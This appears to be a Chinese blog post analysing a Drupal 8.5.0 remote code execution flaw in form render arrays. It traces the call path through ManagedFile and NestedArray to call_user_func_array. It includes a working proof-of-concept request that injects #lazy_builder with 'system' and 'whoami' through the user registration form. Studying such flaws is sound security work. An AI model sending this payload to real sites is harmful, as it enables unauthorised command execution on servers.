今天学习一下Drupal的另一个漏洞,由于渲染数组不当造成的漏洞

  poc:

url:
http://localhost/drupal-8.5.0/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax post:
'mail[a][#lazy_builder][0]': 'system',
'mail[a][#lazy_builder][1][]': 'whoami',
'form_id': 'user_register_form'

  使用poc进行测试,并在断点处观察其调用流程:

  函数的漏洞入口点在:

  \core\modules\file\src\Element\ManagedFile.php处

  

  经过explode函数处理,将get请求中的element_parents参数的值变成一个数组:即比如a/b/c变成了["a","b","c"]

  然后将处理完的$form_parents变量传给NestedArray类的getValue函数处理,其中$form包含了表单的所有信息,我们跟进一下:

  其中getValue函数就是将$form中的值逐层取出,

  

  如果$parents为a/b/c,则结果值为123

  

此时$callable变量为system,$args变量为["whoami"],然后再调用call_user_func_array()函数处理

  

最新文章

  1. 关于meta标签
  2. c# 支付宝查单补单
  3. Hook to function
  4. linux安装gcc的一些问题。
  5. WinForm 控件库
  6. JS-商品图片放大器
  7. hdu_2871_Memory Control(巨恶心线段树)
  8. 简单的java高斯模糊算法
  9. CSS如何让DIV的宽度随内容的变化
  10. Swing-setBounds()用法-入门
  11. Jquery DataTable AJAX跨域请求的解决方法及SSM框架下服务器端返回JSON格式数据的解决方法
  12. Java实现Html转PDF的方法
  13. 解决win7中防火墙的0x6D9问题的方法
  14. maven 中的pom中的 dependencyManagement 和 dependencies
  15. 一、java虚拟机内存区域
  16. JS中常用的输出方式(五种)
  17. Spring注解之 Transactional
  18. Django Rest Framework----ModelViewSet视图 ModelViewSet源码分析
  19. Navicat运行sql文件报错out of memory
  20. P(Y|X) 和 P(X,Y)

热门文章

  1. linux seqlock 锁
  2. VMware虚拟机安装Windows2003操作教程
  3. linux 自动检测 IRQ 号
  4. MySQL排序问题
  5. H3C查看CF卡内的文件
  6. nodejs + webpack4 + babel6 结合写Chrome浏览器插件记录(2)
  7. CodeForces 1213F (强联通分量分解+拓扑排序)
  8. Consul etcd ZooKeeper euerka 对比
  9. etcd配置文件详解
  10. 聚类分析 一、k-means